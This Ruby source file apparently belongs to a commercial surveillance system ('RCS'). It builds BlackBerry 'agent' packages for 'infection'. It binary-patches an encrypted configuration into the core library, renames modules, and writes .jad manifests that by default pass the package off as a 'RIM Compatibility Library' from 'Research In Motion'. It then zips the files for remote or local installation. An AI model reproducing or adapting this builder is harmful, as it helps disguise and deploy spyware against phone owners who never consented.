# # Agent creation for blackberry # # from RCS::Common require 'rcs-common/trace' require 'digest/sha1' module RCS module DB class BuildBlackberry < Build def initialize super @platform = 'blackberry' end def unpack # unpack the core from db super trace :debug, "outputs: #{@outputs}" # enumerates the version, renames the cod, flattens file in root Dir[path('res/v_*/*.cod')].each { |d| trace :debug, "versioned: #{d}" (maj, min ,codname)=d.scan(/v_(\d+)\.(\d+)\/(.*).cod/).flatten version = "#{maj}.#{min}" trace :debug, "version: #{version} codname: #{codname}" FileUtils.mv(d, path("#{codname}_#{version}.cod")) @outputs[@outputs.index("res/v_#{version}\/#{codname}.cod")] = "#{codname}_#{version}.cod" } # flatten the library to be binary patched FileUtils.mv( path("res/net_rim_bb_lib_base.cod"), path("net_rim_bb_lib_base.cod")) @outputs[@outputs.index("res/net_rim_bb_lib_base.cod")] = "net_rim_bb_lib_base.cod" trace :debug, "outputs: #{@outputs}" end def patch(params) trace :debug, "Build: patching: #{params}" # add the file to be patched to the params # these params will be passed to the super params[:core] = 'net_rim_bb_lib_base.cod' # enforce demo flag accordingly to the license # or raise if cannot build params['demo'] = LicenseManager.instance.can_build_platform :blackberry, params['demo'] # invoke the generic patch method with the new params super trace :debug, "Build: adding config to [#{params[:core]}] file" # blackberry has the config inside the lib file, binary patch it instead of creating a new file file = File.open(path(params[:core]), 'rb+') file.pos = file.read.index 'XW15TZlwZwpaWGPZ1wtL0f591tJe2b9' config = @factory.configs.first.encrypted_config(@factory.confkey) # write the size of the config file.write [config.bytesize].pack('I') # pad the config to 16Kb (minus the size of the int) config = config.ljust(2**14 - 4, "\x00") file.write config file.close end def melt(params) trace :debug, "Build: melting: #{params}" trace :debug, "melt: outputs: #{@outputs}" # enumerate the versions Dir[path('res/**')].each {|f| trace :debug, "content: #{f}" version = f.to_s[/v_\d+\.\d+/] if version #version=version[2..-1] version.slice! "v_" trace :debug, " version: #{version}" version_melt params,version end } end # for every version prepares jad and cods def version_melt(params, version) trace :debug, "Build: version_melt: #{params}, #{version}" @appname = params['appname'] || 'net_rim_bb' # read the content of the jad header content = File.open(path('jad'), 'rb') {|f| f.read} # reopen it for writing jadname=@appname + '_' + version + '.jad' jad = File.open(path(jadname), 'wb') name = params['name'] || 'RIM Compatibility Library' # make substitution in the jad header content['[:RIM-COD-Name:]'] = name content['[:RIM-COD-Version:]'] = params['version'] || '1.1.0' content['[:RIM-COD-Description:]'] = params['desc'] || 'RIM Compatibility Library used by applications in the App World' content['[:RIM-COD-Vendor:]'] = params['vendor'] || 'Research In Motion' content.gsub!('[:RIM-COD-FileName:]', @appname) jad.puts content jad.puts "RIM-COD-Module-Name: #{name}" jad.puts "RIM-COD-Creation-Time: #{Time.now.to_i}" num = 0 # keep only the version specific cores and the library trace :debug, "version_melt: outputs: #{@outputs}" jadfiles = @outputs.dup.keep_if {|x| (x[/\w$/] and x[version]) or x['base']} trace :debug, "version_melt: jadfiles: #{jadfiles}" # sort but ignore the extension. # this is mandatory to have blabla-1.cod after blabla.cod jadfiles.sort! {|x,y| x[0..-5] <=> y[0..-5]} # each part of the core must be renamed to the new appname # and added to the body of the jad file jadfiles.each do |file| old_name = file.dup if(file['net_rim_bb_lib']) file['net_rim_bb_lib'] = @appname end @outputs[@outputs.index(file)] = file File.rename(path(old_name), path(file)) inc = num == 0 ? '' : "-#{num}" jad.puts "RIM-COD-URL#{inc}: #{file}" jad.puts "RIM-COD-SHA1#{inc}: #{Digest::SHA1.file(path(file))}" jad.puts "RIM-COD-Size#{inc}: #{File.size(path(file))}" num += 1 end jad.close @outputs << jadname end def pack(params) trace :debug, "Build: pack: #{params}" trace :debug, "Build: pack: outputs: #{@outputs}" case params['type'] when 'remote' Zip::ZipFile.open(path('output.zip'), Zip::ZipFile::CREATE) do |z| #delete_if {|o| o['res']}. @outputs.delete_if {|o| o['res']}.keep_if {|o| o['.cod'] or o['.jad']}.each do |output| if File.file?(path(output)) z.file.open(output, "wb") { |f| f.write File.open(path(output), 'rb') {|f| f.read} } end end end when 'local' Zip::ZipFile.open(path('output.zip'), Zip::ZipFile::CREATE) do |z| @outputs.keep_if {|o| o['res'] || o['install.bat'] || o['bin'] || o['base'] || o['.cod'] || o['.jad']}.each do |output| trace :debug, " pack: #{output}" if output['base'] z.file.open('/res/net_rim_bb_lib_base.cod', "wb") { |f| f.write File.open(path(output), 'rb') {|f| f.read} } else if File.file?(path(output)) outfile=output.dup outfile="res/" + output if !output[/^res\//] and !output[/\.bat$/] z.file.open(outfile, "wb") { |f| f.write File.open(path(output), 'rb') {|f| f.read} } end end end end else raise("pack failed. unknown type.") end # this is the only file we need to output after this point @outputs = ['output.zip'] end def infection_files(name = 'bb_in') trace :debug, " infection_files" files=[] # keeps only all the cod and jad in the root @outputs.dup.delete_if {|o| o['res']}.keep_if {|o| o['.cod'] or o['.jad']}.each do |output| files.push( { :name => output, :path => path(output) }) end # adds the exes, in res, flattening the dir @outputs.dup.keep_if {|o| o['res'] and o['exe']}.each do |output| filepath = output.dup filepath.slice! "res/" filepath.gsub!(/inst_helper/,name) files.push({ :name => filepath, :path => path(output) }) end return files end end end #DB:: end #RCS:: .